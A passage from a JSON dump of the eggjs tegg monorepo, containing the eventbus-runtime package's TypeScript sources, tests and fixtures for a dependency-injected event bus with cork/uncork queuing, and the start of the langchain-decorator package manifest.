\"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/eventbus-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-runtime\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"await-event\": \"catalog:\",\n    \"await-first\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/metadata\": \"workspace:*\",\n    \"@eggjs/module-test-util\": \"workspace:*\",\n    \"@eggjs/tegg-loader\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"coffee\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"eggModule\": {\n    \"name\": \"eventbusRuntime\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/src/EventContextFactory.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggRuntimeContext } from '@eggjs/tegg-types';\n\nexport type ContextCreator = (parentContext?: EggRuntimeContext) => EggRuntimeContext;\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class EventContextFactory {\n  private creator: ContextCreator;\n\n  createContext(parentContext?: EggRuntimeContext): EggRuntimeContext {\n    return this.creator(parentContext);\n  }\n\n  registerContextCreator(creator: ContextCreator): void {\n    this.creator = creator;\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/src/EventHandlerFactory.ts",
    "content": "import { SingletonProto } from '@eggjs/core-decorator';\nimport {\n  type EventHandler,\n  type EventName,\n  type Events,\n  type Arguments,\n  EVENT_CONTEXT_INJECT,\n} from '@eggjs/eventbus-decorator';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggPrototype } from '@eggjs/tegg-types';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class EventHandlerFactory {\n  private handlerProtoMap: Map<EventName, Array<EggPrototype>> = new Map();\n\n  registerHandler(event: EventName, proto: EggPrototype): void {\n    const protos = MapUtil.getOrStore(this.handlerProtoMap, event, []);\n    protos.push(proto);\n  }\n\n  hasListeners(event: EventName): boolean {\n    return this.handlerProtoMap.has(event);\n  }\n\n  getHandlerProtos(event: EventName): Array<EggPrototype> {\n    const handlerProtos = this.handlerProtoMap.get(event) || [];\n    return handlerProtos;\n  }\n\n  async getHandler(proto: EggPrototype): Promise<EventHandler<keyof Events>> {\n    const eggObj = await EggContainerFactory.getOrCreateEggObject(proto, proto.name);\n    return eggObj.obj as EventHandler<keyof Events>;\n  }\n\n  async getHandlers(event: EventName): Promise<Array<EventHandler<keyof Events>>> {\n    const handlerProtos = this.getHandlerProtos(event);\n    return await Promise.all(\n      handlerProtos.map((proto) => {\n        return this.getHandler(proto);\n      }),\n    );\n  }\n\n  async handle(eventName: EventName, proto: EggPrototype, args: Arguments<any>): Promise<void> {\n    const handler = await this.getHandler(proto);\n    const enableInjectCtx = proto.getMetaData<boolean>(EVENT_CONTEXT_INJECT) ?? false;\n    if (enableInjectCtx) {\n      const ctx = {\n        eventName,\n      };\n      await Reflect.apply(handler.handle, handler, [ctx, ...args]);\n    } else {\n      await Reflect.apply(handler.handle, handler, args);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/src/SingletonEventBus.ts",
    "content": "import EventEmitter from 'node:events';\n\nimport { Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { type EventBus, type Events, type EventWaiter, type EventName, CORK_ID } from '@eggjs/eventbus-decorator';\nimport type { Arguments } from '@eggjs/eventbus-decorator';\nimport { ContextHandler } from '@eggjs/tegg-runtime';\nimport { AccessLevel } from '@eggjs/tegg-types';\nimport type { EggRuntimeContext } from '@eggjs/tegg-types';\n// @ts-expect-error await-event is not typed\nimport awaitEvent from 'await-event';\n// @ts-expect-error await-first is not typed\nimport awaitFirst from 'await-first';\nimport type { EggLogger } from 'egg';\n\nimport { EventContextFactory } from './EventContextFactory.ts';\nimport { EventHandlerFactory } from './EventHandlerFactory.ts';\nexport interface Event {\n  name: EventName;\n  args: Array<any>;\n  context?: EggRuntimeContext;\n}\n\nexport interface CorkEvents {\n  times: number;\n  events: Array<Event>;\n}\n\n@SingletonProto({\n  // TODO 需要考虑支持别名\n  // SingletonEventBus 同时实现了两个接口\n  name: 'eventBus',\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class SingletonEventBus implements EventBus, EventWaiter {\n  private readonly emitter = new EventEmitter();\n\n  @Inject()\n  private readonly eventContextFactory: EventContextFactory;\n\n  @Inject()\n  private readonly eventHandlerFactory: EventHandlerFactory;\n\n  @Inject({\n    name: 'logger',\n  })\n  private readonly logger: EggLogger;\n\n  private corkIdSequence = 0;\n\n  private readonly corkedEvents = new Map<string /* corkId */, CorkEvents>();\n\n  /**\n   * only use for ensure event will happen\n   */\n  once<E extends keyof Events>(event: E, listener: Events[E]): this {\n    this.emitter.once(event, listener);\n    return this;\n  }\n\n  async await<E extends keyof Events>(event: E): Promise<Arguments<Events[E]>> {\n    return awaitEvent(this.emitter, event);\n  }\n\n  awaitFirst<E extends keyof Events>(...e: Array<E>): Promise<{ event: EventName; args: Arguments<Events[E]> }> {\n    return awaitFirst(this.emitter, e);\n  }\n\n  emit<E extends keyof Events>(event: E, ...args: Arguments<Events[E]>): boolean {\n    const ctx = this.eventContextFactory.createContext();\n    const hasListener = this.eventHandlerFactory.hasListeners(event);\n    this.doEmit(ctx, event, args);\n    return hasListener;\n  }\n\n  generateCorkId(): string {\n    return String(++this.corkIdSequence);\n  }\n\n  cork(corkId: string): void {\n    let corkEvents = this.corkedEvents.get(corkId);\n    if (!corkEvents) {\n      corkEvents = {\n        times: 0,\n        events: [],\n      } as unknown as CorkEvents;\n      this.corkedEvents.set(corkId, corkEvents);\n    }\n    corkEvents!.times++;\n  }\n\n  uncork(corkId: string): boolean {\n    const corkEvents = this.corkedEvents.get(corkId);\n    if (!corkEvents) {\n      throw new Error(`eventbus corkId ${corkId} not found`);\n    }\n    if (--corkEvents.times !== 0) {\n      return false;\n    }\n    this.corkedEvents.delete(corkId);\n    for (const event of corkEvents.events) {\n      if (event.context) {\n        this.doEmitWithContext(event.context, event.name, event.args);\n      }\n    }\n    return true;\n  }\n\n  queueEvent(corkId: string, event: Event): void {\n    const corkedEvents = this.corkedEvents.get(corkId);\n    if (!corkedEvents) {\n      throw new Error(`eventbus corkId ${corkId} not found`);\n    }\n    corkedEvents.events.push(event);\n  }\n\n  emitWithContext<E extends keyof Events>(\n    parentContext: EggRuntimeContext,\n    event: E,\n    args: Arguments<Events[E]>,\n  ): boolean {\n    const corkId = parentContext.get(CORK_ID);\n    const hasListener = this.eventHandlerFactory.hasListeners(event);\n    if (corkId) {\n      this.queueEvent(corkId, { name: event, args, context: parentContext });\n      return hasListener;\n    }\n    return this.doEmitWithContext(parentContext, event, args);\n  }\n\n  private doEmitWithContext(parentContext: EggRuntimeContext, event: EventName, args: Array<any>): boolean {\n    const hasListener = this.eventHandlerFactory.hasListeners(event);\n    const ctx = this.eventContextFactory.createContext(parentContext);\n    this.doEmit(ctx, event, args);\n    return hasListener;\n  }\n\n  private doOnceEmit(event: EventName, args: Array<any>) {\n    try {\n      this.emitter.emit(event, ...args);\n    } catch (e: any) {\n      e.message = `[EventBus] process once event ${String(event)} failed: ${e.message}`;\n      this.logger.error(e);\n    }\n  }\n\n  private async doEmit(ctx: EggRuntimeContext, event: EventName, args: Array<any>) {\n    await ContextHandler.run(ctx, async () => {\n      const lifecycle = {};\n      if (ctx.init) {\n        await ctx.init(lifecycle);\n      }\n      try {\n        const handlerProtos = this.eventHandlerFactory.getHandlerProtos(event);\n        await Promise.all(\n          handlerProtos.map(async (proto) => {\n            try {\n              await this.eventHandlerFactory.handle(event, proto, args);\n            } catch (e: any) {\n              // should wait all handlers done then destroy ctx\n              e.message = `[EventBus] process event ${String(event)} for handler ${String(proto.name)} failed: ${e.message}`;\n              this.logger.error(e);\n            }\n          }),\n        );\n      } catch (e: any) {\n        e.message = `[EventBus] process event ${String(event)} failed: ${e.message}`;\n        this.logger.error(e);\n      } finally {\n        if (ctx.destroy) {\n          ctx.destroy(lifecycle).catch((e) => {\n            e.message = '[tegg/SingletonEventBus] destroy tegg ctx failed:' + e.message;\n            this.logger.error(e);\n          });\n        }\n      }\n      this.doOnceEmit(event, args);\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/src/index.ts",
    "content": "export * from './SingletonEventBus.ts';\nexport * from './EventHandlerFactory.ts';\nexport * from './EventContextFactory.ts';\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/EventBus.test.ts",
    "content": "import assert from 'node:assert/strict';\nimport path from 'node:path';\nimport { mock } from 'node:test';\n\nimport { PrototypeUtil } from '@eggjs/core-decorator';\nimport { EventInfoUtil, CORK_ID } from '@eggjs/eventbus-decorator';\nimport { type EggPrototype, LoadUnitFactory } from '@eggjs/metadata';\nimport { CoreTestHelper, EggTestContext } from '@eggjs/module-test-util';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { type LoadUnitInstance, LoadUnitInstanceFactory } from '@eggjs/tegg-runtime';\nimport { describe, it, beforeEach, afterEach } from 'vitest';\n\nimport { EventContextFactory, EventHandlerFactory, SingletonEventBus } from '../src/index.ts';\nimport { HelloHandler, HelloProducer } from './fixtures/modules/event/HelloEvent.ts';\nimport { Timeout0Handler, Timeout100Handler, TimeoutProducer } from './fixtures/modules/event/MultiEvent.ts';\nimport { MultiWithContextHandler, MultiWithContextProducer } from './fixtures/modules/event/MultiEventWithContext.ts';\n\ndescribe('test/EventBus.test.ts', () => {\n  let modules: Array<LoadUnitInstance>;\n  beforeEach(async () => {\n    modules = await CoreTestHelper.prepareModules([\n      path.join(__dirname, 'fixtures/modules/mock-module'),\n      path.join(__dirname, '..'),\n      path.join(__dirname, 'fixtures/modules/event'),\n    ]);\n  });\n\n  afterEach(async () => {\n    for (const module of modules) {\n      await LoadUnitFactory.destroyLoadUnit(module.loadUnit);\n      await LoadUnitInstanceFactory.destroyLoadUnitInstance(module);\n    }\n    mock.reset();\n  });\n\n  it('should work', async () => {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(HelloHandler)!,\n        PrototypeUtil.getClazzProto(HelloHandler) as EggPrototype,\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const helloProducer = await CoreTestHelper.getObject(HelloProducer);\n      const helloHandler = await CoreTestHelper.getObject(HelloHandler);\n      const helloEvent = eventBus.await('hello');\n      let msg: string | undefined;\n      mock.method(helloHandler, 'handle', async (m: string) => {\n        msg = m;\n      });\n      helloProducer.trigger();\n\n      await helloEvent;\n      assert(msg === '01');\n    });\n  });\n\n  it('should work with EventContext', async function () {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      EventInfoUtil.getEventNameList(MultiWithContextHandler).forEach((eventName) =>\n        eventHandlerFactory.registerHandler(\n          eventName,\n          PrototypeUtil.getClazzProto(MultiWithContextHandler) as EggPrototype,\n        ),\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const producer = await CoreTestHelper.getObject(MultiWithContextProducer);\n      const fooEvent = eventBus.await('foo');\n      producer.foo();\n      await fooEvent;\n      assert.equal(MultiWithContextHandler.eventName, 'foo');\n      assert.equal(MultiWithContextHandler.msg, '123');\n      const barEvent = eventBus.await('bar');\n      producer.bar();\n      await barEvent;\n      assert.equal(MultiWithContextHandler.eventName, 'bar');\n      assert.equal(MultiWithContextHandler.msg, '321');\n    });\n  });\n\n  it('EventBus.awaitFirst should work', async function () {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      EventInfoUtil.getEventNameList(MultiWithContextHandler).forEach((eventName) =>\n        eventHandlerFactory.registerHandler(\n          eventName,\n          PrototypeUtil.getClazzProto(MultiWithContextHandler) as EggPrototype,\n        ),\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const producer = await CoreTestHelper.getObject(MultiWithContextProducer);\n      const fooEvent = eventBus.awaitFirst('foo', 'bar');\n      producer.foo();\n      await fooEvent;\n      assert.equal(MultiWithContextHandler.eventName, 'foo');\n      assert.equal(MultiWithContextHandler.msg, '123');\n    });\n  });\n\n  it('EventHandlerFactory.getHandlers should work', async function () {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      EventInfoUtil.getEventNameList(MultiWithContextHandler).forEach((eventName) =>\n        eventHandlerFactory.registerHandler(\n          eventName,\n          PrototypeUtil.getClazzProto(MultiWithContextHandler) as EggPrototype,\n        ),\n      );\n      const handlers = await eventHandlerFactory.getHandlers('foo');\n      assert.equal(handlers.length, 1);\n      const handler = handlers[0];\n      assert(handler instanceof MultiWithContextHandler);\n      await Reflect.apply(handler.handle, handler, [{ eventName: 'foo' }, '123']);\n      assert.equal(MultiWithContextHandler.eventName, 'foo');\n      assert.equal(MultiWithContextHandler.msg, '123');\n    });\n  });\n\n  it('destroy should be called', async () => {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      let destroyCalled = false;\n      mock.method(ctx, 'destroy', async () => {\n        destroyCalled = true;\n      });\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(HelloHandler)!,\n        PrototypeUtil.getClazzProto(HelloHandler) as EggPrototype,\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const helloProducer = await CoreTestHelper.getObject(HelloProducer);\n      const helloEvent = eventBus.await('hello');\n\n      helloProducer.trigger();\n\n      await helloEvent;\n      assert(destroyCalled);\n    });\n  });\n\n  it('should wait all handler done', async () => {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(Timeout0Handler)!,\n        PrototypeUtil.getClazzProto(Timeout0Handler) as EggPrototype,\n      );\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(Timeout100Handler)!,\n        PrototypeUtil.getClazzProto(Timeout100Handler) as EggPrototype,\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const timeoutProducer = await CoreTestHelper.getObject(TimeoutProducer);\n      const timeoutEvent = eventBus.await('timeout');\n      timeoutProducer.trigger();\n\n      await timeoutEvent;\n      assert(Timeout100Handler.called);\n    });\n  });\n\n  it('cork should work', async () => {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(HelloHandler)!,\n        PrototypeUtil.getClazzProto(HelloHandler) as EggPrototype,\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const corkId = eventBus.generateCorkId();\n      ctx.set(CORK_ID, corkId);\n      eventBus.cork(corkId);\n\n      const helloHandler = await CoreTestHelper.getObject(HelloHandler);\n      const helloEvent = eventBus.await('hello');\n      let eventTime = 0;\n      mock.method(helloHandler, 'handle', async () => {\n        eventTime = Date.now();\n      });\n      eventBus.emitWithContext(ctx, 'hello', ['01']);\n      const triggerTime = Date.now();\n\n      await TimerUtil.sleep(100);\n      eventBus.uncork(corkId);\n      await helloEvent;\n      assert(eventTime >= triggerTime + 100);\n    });\n  });\n\n  it('multi cork should work', async () => {\n    await EggTestContext.mockContext(async (ctx: EggTestContext) => {\n      const eventContextFactory = await CoreTestHelper.getObject(EventContextFactory);\n      eventContextFactory.registerContextCreator(() => {\n        return ctx;\n      });\n      const eventHandlerFactory = await CoreTestHelper.getObject(EventHandlerFactory);\n      eventHandlerFactory.registerHandler(\n        EventInfoUtil.getEventName(HelloHandler)!,\n        PrototypeUtil.getClazzProto(HelloHandler) as EggPrototype,\n      );\n\n      const eventBus = await CoreTestHelper.getObject(SingletonEventBus);\n      const corkId = eventBus.generateCorkId();\n      ctx.set(CORK_ID, corkId);\n      eventBus.cork(corkId);\n      eventBus.cork(corkId);\n\n      const helloHandler = await CoreTestHelper.getObject(HelloHandler);\n      const helloEvent = eventBus.await('hello');\n      let eventTime = 0;\n      mock.method(helloHandler, 'handle', async () => {\n        eventTime = Date.now();\n      });\n      eventBus.emitWithContext(ctx, 'hello', ['01']);\n      const triggerTime = Date.now();\n\n      await TimerUtil.sleep(100);\n      eventBus.uncork(corkId);\n      await TimerUtil.sleep(100);\n      eventBus.uncork(corkId);\n\n      await helloEvent;\n      assert(eventTime >= triggerTime + 200);\n    });\n  });\n});\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"EventContextFactory\": [Function],\n  \"EventHandlerFactory\": [Function],\n  \"SingletonEventBus\": [Function],\n}\n`;\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/event/HelloEvent.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { Event, type EventBus } from '@eggjs/eventbus-decorator';\n\ndeclare module '@eggjs/eventbus-decorator' {\n  interface Events {\n    hello: (hello: string) => void;\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class HelloProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger(): void {\n    this.eventBus.emit('hello', '01');\n  }\n}\n\n@Event('hello')\nexport class HelloHandler {\n  handle(hello: string): void {\n    console.log('hello, ', hello);\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/event/MultiEvent.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { Event, type EventBus } from '@eggjs/eventbus-decorator';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport type { EggLogger } from 'egg';\n\ndeclare module '@eggjs/eventbus-decorator' {\n  interface Events {\n    timeout: () => void;\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class TimeoutProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  trigger(): void {\n    this.eventBus.emit('timeout');\n  }\n}\n\n@Event('timeout')\nexport class Timeout0Handler {\n  handle(): void {\n    throw new Error('mock error');\n  }\n}\n\n@Event('timeout')\nexport class Timeout100Handler {\n  static called = false;\n  @Inject()\n  private readonly logger: EggLogger;\n\n  async handle(): Promise<void> {\n    await TimerUtil.sleep(100);\n    // access logger, ensure context still alive\n    this.logger.info('timeout 100');\n    Timeout100Handler.called = true;\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/event/MultiEventWithContext.ts",
    "content": "import { AccessLevel, Inject, SingletonProto } from '@eggjs/core-decorator';\nimport { Event, type EventBus, EventContext, type IEventContext } from '@eggjs/eventbus-decorator';\n\ndeclare module '@eggjs/eventbus-decorator' {\n  interface Events {\n    foo: (msg: string) => void;\n    bar: (msg: string) => void;\n  }\n}\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class MultiWithContextProducer {\n  @Inject()\n  private readonly eventBus: EventBus;\n\n  foo(): void {\n    this.eventBus.emit('foo', '123');\n  }\n\n  bar(): void {\n    this.eventBus.emit('bar', '321');\n  }\n}\n\n@Event('foo')\n@Event('bar')\nexport class MultiWithContextHandler {\n  static eventName: string;\n  static msg: string;\n  async handle(@EventContext() ctx: IEventContext, msg: string): Promise<void> {\n    MultiWithContextHandler.eventName = ctx.eventName;\n    MultiWithContextHandler.msg = msg;\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/event/package.json",
    "content": "{\n  \"name\": \"mock-event\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"mockEvent\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/mock-module/MockLogger.ts",
    "content": "import { AccessLevel, ContextProto, SingletonProto } from '@eggjs/core-decorator';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'logger',\n})\nexport class MockLogger {\n  constructor() {\n    const methods = Object.keys(console);\n    for (const method of methods) {\n      // @ts-expect-error console is not typed\n      this[method] = (...args) => {\n        // @ts-expect-error console is not typed\n        console[method](...args);\n      };\n    }\n  }\n}\n\n@ContextProto({\n  accessLevel: AccessLevel.PUBLIC,\n  name: 'logger',\n})\nexport class MockContextLogger {\n  constructor() {\n    const methods = Object.keys(console);\n    for (const method of methods) {\n      // @ts-expect-error console is not typed\n      this[method] = (...args) => {\n        // @ts-expect-error console is not typed\n        console[method](...args);\n      };\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/fixtures/modules/mock-module/package.json",
    "content": "{\n  \"name\": \"mock-module\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"mock\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/eventbus-runtime/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "tegg/core/langchain-decorator/package.json",
    "content": "{\n  \"name\": \"@eggjs/langchain-decorator\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg langchain decorator\",\n  \"keywords\": [\n    \"egg\",\n    \"langchain\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/langchain-decorator\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"akitaSummer <akitasummer@outlook.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/langchain-decorator\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./builder/BoundModelMetaBuilder\": \"./src/builder/BoundModelMetaBuilder.ts\",\n    \"./builder/GraphEdgeMetaBuilder\": \"./src/builder/GraphEdgeMetaBuilder.ts\",\n    \"./builder/GraphMetaBuilder\": \"./src/builder/GraphMetaBuilder.ts\",\n    \"./builder/GraphNodeMetaBuilder\": \"./src/builder/GraphNodeMetaBuilder.ts\",\n    \"./builder/GraphToolMetaBuilder\": \"./src/builder/GraphToolMetaBuilder.ts\",\n    \"./decorator/BoundModel\": \"./src/decorator/BoundModel.ts\",\n    \"./decorator/Graph\": \"./src/decorator/Graph.ts\",\n    \"./decorator/GraphEdge\": \"./src/decorator/GraphEdge.ts\",\n    \"./decorator/GraphNode\": \"./src/decorator/GraphNode.ts\",\n    \"./decorator/GraphTool\": \"./src/decorator/GraphTool.ts\",\n    \"./model/BoundModelMetadata\": \"./src/model/BoundModelMetadata.ts\",\n    \"./model/GraphEdgeMetadata\": \"./src/model/GraphEdgeMetadata.ts\",\n    \"./model/GraphMetadata\": \"./src/model/GraphMetadata.ts\",\n    \"./model/GraphNodeMetadata\": \"./src/model/GraphNodeMetadata.ts\",\n    \"./model/GraphToolMetadata\": \"./src/model/GraphToolMetadata.ts\",\n    \"./qualifier/ChatCheckpointSaverQualifier\": \"./src/qualifier/ChatCheckpointSaverQualifier.ts\",\n    \"./qualifier/ChatModelQualifier\": \"./src/qualifier/ChatModelQualifier.ts\",\n    \"./type/metadataKey\": \"./src/type/metadataKey.ts\",\n    \"./util\": \"./src/util/index.ts\",\n    \"./util/BoundModelInfoUtil\": \"./src/util/BoundModelInfoUtil.ts\",\n    \"./util/GraphEdgeInfoUtil\": \"./src/util/GraphEdgeInfoUtil.ts\",\n    \"./util/GraphInfoUtil\": \"./src/util/GraphInfoUtil.ts\",\n    \"./util/GraphNodeInfoUtil\": \"./src/util/GraphNodeInfoUtil.ts\",\n    \"./util/GraphToolInfoUtil\": \"./src/util/GraphToolInfoUtil.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./builder/BoundModelMetaBuilder\": \"./dist/builder/BoundModelMetaBuilder.js\",\n      \"./builder/GraphEdgeMetaBuilder\": \"./dist/builder/GraphEdgeMetaBuilder.js\",\n      \"./builder/GraphMetaBuilder\": \"./dist/builder/GraphMetaBuilder.js\",\n      \"./builder/GraphNodeMetaBuilder\": \"./dist/builder/GraphNodeMetaBuilder.js\",\n      \"./builder/GraphToolMetaBuilder\": \"./dist/builder/GraphToolMetaBuilder.js\",\n      \"./decorator/BoundModel\": \"./dist/decorator/BoundModel.js\",\n      \"./decorator/Graph\": \"./dist/decorator/Graph.js\",\n      \"./decorator/GraphEdge\": \"./dist/decorator/GraphEdge.js\",\n      \"./decorator/GraphNode\": \"./dist/decorator/GraphNode.js\",\n      \"./decorator/GraphTool\": \"./dist/decorator/GraphTool.js\",\n      \"./model/BoundModelMetadata\": \"./dist/model/BoundModelMetadata.js\",\n      \"./model/GraphEdgeMetadata\": \"./dist/model/GraphEdgeMetadata.js\",\n      \"./model/GraphMetadata\": \"./dist/model/GraphMetadata.js\",\n      \"./model/GraphNodeMetadata\": \"./dist/model/GraphNodeMetadata.js\",\n      \"./model/GraphToolMetadata\": \"./dist/model/GraphToolMetadata.js\",\n      \"./qualifier/ChatCheckpointSaverQualifier\": \"./dist/qualifier/ChatCheckpointSaverQualifier.js\",\n      \"./qualifier/ChatModelQualifier\": \"./dist/qualifier/ChatModelQualifier.js\",\n      \"./type/metadataKey\": \"./dist/type/metadataKey.js\",\n      \"./util\": \"./dist/util/index.js\",\n      \"./util/BoundModelInfoUtil\": \"./dist/util/BoundModelInfoUtil.js\",\n      \"./util/GraphEdgeInfoUtil\": \"./dist/util/GraphEdgeInfoUtil.js\",\n      \"./util/GraphInfoUtil\": \"./dist/util/GraphInfoUtil.js\",\n      \"./util/GraphNodeInfoUtil\": \"./dist/util/GraphNodeInfoUtil.js\",\n      \"./util/GraphToolInfoUtil\": \"./dist/util/GraphToolInfoUtil.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-common-util\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\",\n    \"@langchain/core\": \"^1.1.1\",\n    \"@langchain/langgraph\": \"^1.0.2\",\n    \"@langchain/openai\": \"^1.1.0\",\n    \"langchain\": \"^1.1.2\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/controller-decorator\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\",\n    \"zod\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/src/builder/BoundModelMetaBuilder.ts",
